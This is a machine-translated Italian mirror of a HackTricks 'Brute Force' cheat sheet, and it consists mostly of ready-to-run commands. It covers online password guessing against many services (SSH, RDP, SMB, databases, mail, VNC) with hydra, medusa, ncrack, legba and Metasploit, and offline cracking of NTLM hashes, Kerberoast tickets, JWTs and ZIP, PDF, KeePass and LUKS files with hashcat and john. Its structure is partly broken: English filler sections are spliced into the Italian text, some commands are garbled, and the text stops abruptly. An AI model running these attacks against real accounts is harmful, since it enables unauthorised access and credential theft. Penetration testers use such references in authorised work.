mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00

Translator dd7aad82ea Translated ['crypto-and-stego/certificates.md', 'generic-methodologies-a

2024-05-06 11:09:55 +00:00

Brute Force - CheatSheet

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Ottieni l'accesso oggi:

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Credenziali Predefinite

Cerca su Google le credenziali predefinite della tecnologia che viene utilizzata, o prova questi link:

Crea i tuoi Dizionari

Trova il maggior numero possibile di informazioni sul target e genera un dizionario personalizzato. Strumenti che potrebbero aiutare:

Crunch

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

Cewl

cewl example.com -m 5 -w words.txt

CUPP

Genera password basate sulla tua conoscenza della vittima (nomi, date...)

python3 cupp.py -h

Uno strumento generatore di liste di parole, che ti consente di fornire un insieme di parole, offrendoti la possibilità di creare molteplici variazioni dalle parole fornite, creando una lista di parole unica e ideale da utilizzare per un determinato obiettivo.

python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst

__          _______  _____ _______ ______ _____
\ \        / /_   _|/ ____|__   __|  ____|  __ \
\ \  /\  / /  | | | (___    | |  | |__  | |__) |
\ \/  \/ /   | |  \___ \   | |  |  __| |  _  /
\  /\  /   _| |_ ____) |  | |  | |____| | \ \
\/  \/   |_____|_____/   |_|  |______|_|  \_\

Version 1.0.3                    Cycurity

Generating wordlist...
[########################################] 100%
Generated 67885 lines.

Finished in 0.920s.

pydictor

Liste di parole

Utilizza Trickest per creare e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}

Servizi

Ordinati in ordine alfabetico per nome del servizio.

AFP

nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run

AJP

Il protocollo AJP (Apache JServ Protocol) è un protocollo di rete utilizzato per la comunicazione tra un server web e un server di applicazioni.

nmap --script ajp-brute -p 8009 <IP>

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)

legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]

Cassandra

nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042

CouchDB

msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /

Registro Docker

hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

Elasticsearch

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /

FTP

Il protocollo FTP (File Transfer Protocol) è un protocollo standard di rete utilizzato per il trasferimento di file da un host a un altro tramite una rete TCP-based come Internet.

hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21

Brute Force Generico HTTP

WFuzz

Autenticazione di Base HTTP

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/

HTTP - NTLM

legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/

HTTP - Invio modulo

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https

Per https devi cambiare da "http-post-form" a "https-post-form"

HTTP - CMS -- (W)ordpress, (J)oomla o (D)rupal o (M)oodle

cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP

IMAP

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993

IRC

Il Brute Force è una tecnica comunemente utilizzata per indovinare le password degli account IRC. Questo metodo coinvolge la generazione di molteplici password e il loro continuo tentativo di accesso fino a quando non viene trovata quella corretta.

nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>

ISCSI

nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>

JWT

#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

LDAP

LDAP (Lightweight Directory Access Protocol) è un protocollo standard aperto utilizzato per accedere e mantenere servizi di directory su una rete IP. LDAP è comunemente utilizzato per l'autenticazione e l'autorizzazione degli utenti.

nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match

MQTT

Brute Force

Brute force attacks involve trying all possible combinations of usernames and passwords until the correct one is found. This method can be used to gain unauthorized access to MQTT brokers. It is important to use strong and unique passwords to prevent brute force attacks.

ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt

Mongo

nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt

MSSQL

legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433

MySQL

# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql

# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql

#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306

OracleSQL

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017

./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt

#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>

#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>

#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>

legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt

Per utilizzare oracle_login con patator è necessario installare:

pip3 install cx_Oracle --upgrade

Forza bruta hash OracleSQL offline (versioni 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, e 11.2.0.3):

nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30

POP

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110

# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl

PostgreSQL

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432

PPTP

Puoi scaricare il pacchetto .deb da installare da https://http.kali.org/pool/main/t/thc-pptp-bruter/

sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>

RDP

ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]

Redis

Redis è un popolare sistema di memorizzazione di chiavi-valori open source che può essere soggetto a attacchi di forza bruta.

msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]

Rexec

Rexec è un protocollo di rete che consente a un utente di eseguire comandi su un computer remoto. Un attaccante potrebbe utilizzare un attacco di forza bruta per indovinare le credenziali di accesso e ottenere l'accesso non autorizzato al sistema remoto.

hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

Rlogin

Rlogin è un protocollo di rete che consente a un utente di effettuare il login su un host remoto su una rete.

hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

Rsh

Rsh (Remote Shell) è un protocollo che consente a un utente di eseguire comandi su un computer remoto. Un attaccante potrebbe utilizzare un attacco di forza bruta per indovinare la password e ottenere l'accesso al sistema remoto.

hydra -L <Username_list> rsh://<Victim_IP> -v -V

http://pentestmonkey.net/tools/misc/rsh-grind

Rsync

nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

RTSP

hydra -l root -P passwords.txt <IP> rtsp

SFTP

legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

SNMP

msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp

SMB

Il protocollo SMB (Server Message Block) è un protocollo di rete utilizzato principalmente per condividere file, stampanti, porte seriali e altre risorse tra i nodi di una rete.

nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]

SMTP

hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]

SOCKS

SOCKS (Socket Secure) è un protocollo di rete che permette il routing dei pacchetti tra un client e un server tramite un server proxy. SOCKS può essere utilizzato per nascondere l'indirizzo IP del client e bypassare le restrizioni di rete.

nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080

SQL Server

Brute Force

Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. In the context of SQL Server, this means trying all possible combinations of characters to guess the login credentials of a user. These attacks can be automated using tools like Hydra or Medusa. It is important to note that brute force attacks can be time-consuming and resource-intensive, but they can be effective if the password is weak. Implementing measures such as account lockout policies and strong password requirements can help mitigate the risk of a successful brute force attack.

#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT

SSH

Il metodo di forza bruta per attaccare un server SSH coinvolge la generazione di password casuali e il loro tentativo di accesso al server tramite SSH. Questo processo può essere automatizzato utilizzando script o strumenti appositi come Hydra o Medusa. È importante notare che l'utilizzo di questo metodo è illegale a meno che non venga eseguito su un sistema di cui si è il legittimo proprietario o si abbia il permesso esplicito di farlo.

hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

Chiavi SSH deboli / PRNG prevedibile di Debian

Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Ciò può risultare in uno spazio delle chiavi notevolmente ridotto che può essere forzato con strumenti come snowdroppe/ssh-keybrute. Set pre-generati di chiavi deboli sono disponibili anche come g0tmi1k/debian-ssh.

STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)

Il protocollo di testo STOMP è un protocollo di messaggistica ampiamente utilizzato che consente una comunicazione e interazione senza soluzione di continuità con servizi di code di messaggi popolari come RabbitMQ, ActiveMQ, HornetQ e OpenMQ. Fornisce un approccio standardizzato ed efficiente per lo scambio di messaggi e l'esecuzione di varie operazioni di messaggistica.

legba stomp --target localhost:61613 --username admin --password data/passwords.txt

Telnet

Telnet è un protocollo di rete che consente di stabilire una connessione remota tramite la rete Internet o una rete locale. Viene comunemente utilizzato per l'accesso a server remoti per scopi di amministrazione o diagnostica.

hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin

VNC

VNC (Virtual Network Computing) è un sistema che consente di controllare un computer remoto. Un attaccante potrebbe utilizzare attacchi di forza bruta per indovinare la password di accesso al server VNC remoto.

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt <IP>
legba vnc --target localhost:5901 --password data/passwords.txt

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst

Winrm

crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

Utilizza Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}

Locale

Database di cracking online

~~http://hashtoolkit.com/reverse-hash?~~ (MD5 e SHA1)
https://shuck.sh/get-shucking.php (MSCHAPv2/PPTP-VPN/NetNTLMv1 con/senza ESS/SSP e con qualsiasi valore di challenge)
https://www.onlinehashcrack.com/ (Hash, catture WPA2 e archivi MSOffice, ZIP, PDF...)
https://crackstation.net/ (Hash)
https://md5decrypt.net/ (MD5)
https://gpuhash.me/ (Hash e hash di file)
https://hashes.org/search.php (Hash)
https://www.cmd5.org/ (Hash)
https://hashkiller.co.uk/Cracker (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
https://www.md5online.org/md5-decrypt.html (MD5)
http://reverse-hash-lookup.online-domain-tools.com/

Controlla questo prima di provare a eseguire un attacco di forza bruta su un hash.

ZIP

#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip

zip2john file.zip > zip.john
john zip.john

#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack

Attacco zip con testo in chiaro noto

È necessario conoscere il testo in chiaro (o parte del testo in chiaro) di un file contenuto all'interno dello zip crittografato. È possibile verificare i nomi dei file e le dimensioni dei file contenuti all'interno di uno zip crittografato eseguendo: 7z l encrypted.zip
Scarica bkcrack dalla pagina dei rilasci.

# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password

7z

cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z

#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john

PDF

Il metodo di attacco brute-force è comunemente utilizzato per violare le password dei file PDF protetti da password. Questo metodo coinvolge la generazione di tutte le possibili combinazioni di password e la loro verifica fino a quando non viene trovata quella corretta. Questo processo può richiedere molto tempo a seconda della complessità della password.

apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf

Password del proprietario del PDF

Per crackare una password del proprietario del PDF controlla qui: https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/

JWT

git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack

#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John

Cracking NTLM

Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot

Keepass

sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Keberoasting

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Immagine di Lucks

Metodo 1

Installazione: https://github.com/glv2/bruteforce-luks

bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Metodo 2

cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash  wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Un altro tutorial su Luks BF: http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1

Mysql

#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d

Chiave privata PGP/GPG

gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash

Cisco

Chiave Master DPAPI

Usa https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py e poi john

Colonna Protetta da Password di Open Office

Se hai un file xlsx con una colonna protetta da password, puoi rimuoverla:

Caricalo su Google Drive e la password verrà rimossa automaticamente
Per rimuoverla manualmente:

unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .

Certificati PFX

# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx

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Strumenti

Esempi di hash: https://openwall.info/wiki/john/sample-hashes

Identificatore di hash

hash-identifier
> <HASH>

Liste di parole

Strumenti di generazione di liste di parole

kwprocessor: Generatore avanzato di sequenze di tasti con caratteri di base configurabili, mappatura dei tasti e percorsi.

kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt

Mutazione di John

Leggi /etc/john/john.conf e configurarlo

john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules

Hashcat

Attacchi Hashcat

Attacco con lista di parole (-a 0) con regole

Hashcat già include una cartella contenente regole ma puoi trovare altre regole interessanti qui.

hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule

Attacco di combinazione di elenchi di parole

È possibile combinare 2 elenchi di parole in 1 con hashcat.
Se l'elenco 1 contenesse la parola "ciao" e il secondo contenesse 2 righe con le parole "mondo" e "terra". Le parole ciaomondo e ciaoterra verranno generate.

# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!

Attacco a maschera (-a 3)

# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask

Attacco Wordlist + Maschera (-a 6) / Maschera + Wordlist (-a 7)

# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt

Modalità di Hashcat

hashcat --example-hashes | grep -B1 -A2 "NTLM"

Brute Force

Introduction

Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack password hashes stored in the /etc/shadow file on Linux systems.

Tools

There are various tools available for performing brute force attacks, such as John the Ripper, Hashcat, and Hydra. These tools can be used to automate the process of generating and testing a large number of keys or passwords.

Methodology

Obtain the password hash from the /etc/shadow file.
Use a brute force tool to generate and test possible keys or passwords.
Compare the generated hash with the target hash.
If a match is found, the correct key or password has been identified.

Considerations

Brute force attacks can be time-consuming and resource-intensive, especially for complex passwords. It is important to use a good wordlist and optimize the attack parameters to increase the chances of success.

500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems

Brute Force

Introduction

Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack password hashes.

Tools

There are several tools available for performing brute force attacks, such as John the Ripper and Hashcat. These tools can be used to crack Windows password hashes efficiently.

Methodology

Obtain the password hash from the target Windows system.
Use a brute force tool like John the Ripper or Hashcat to crack the password hash.
Configure the tool with the appropriate settings, such as character set, password length, and any other relevant parameters.
Start the brute force attack and wait for the tool to find the correct password.
Once the password is cracked, it can be used to gain unauthorized access to the target system.

3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems

Brute-Force

Introduction

Brute-force attacks are a common technique used to crack hashes. This method involves trying all possible combinations of characters until the correct one is found. Brute-force attacks can be time-consuming but are often successful in cracking common application hashes.

Steps to Perform a Brute-Force Attack

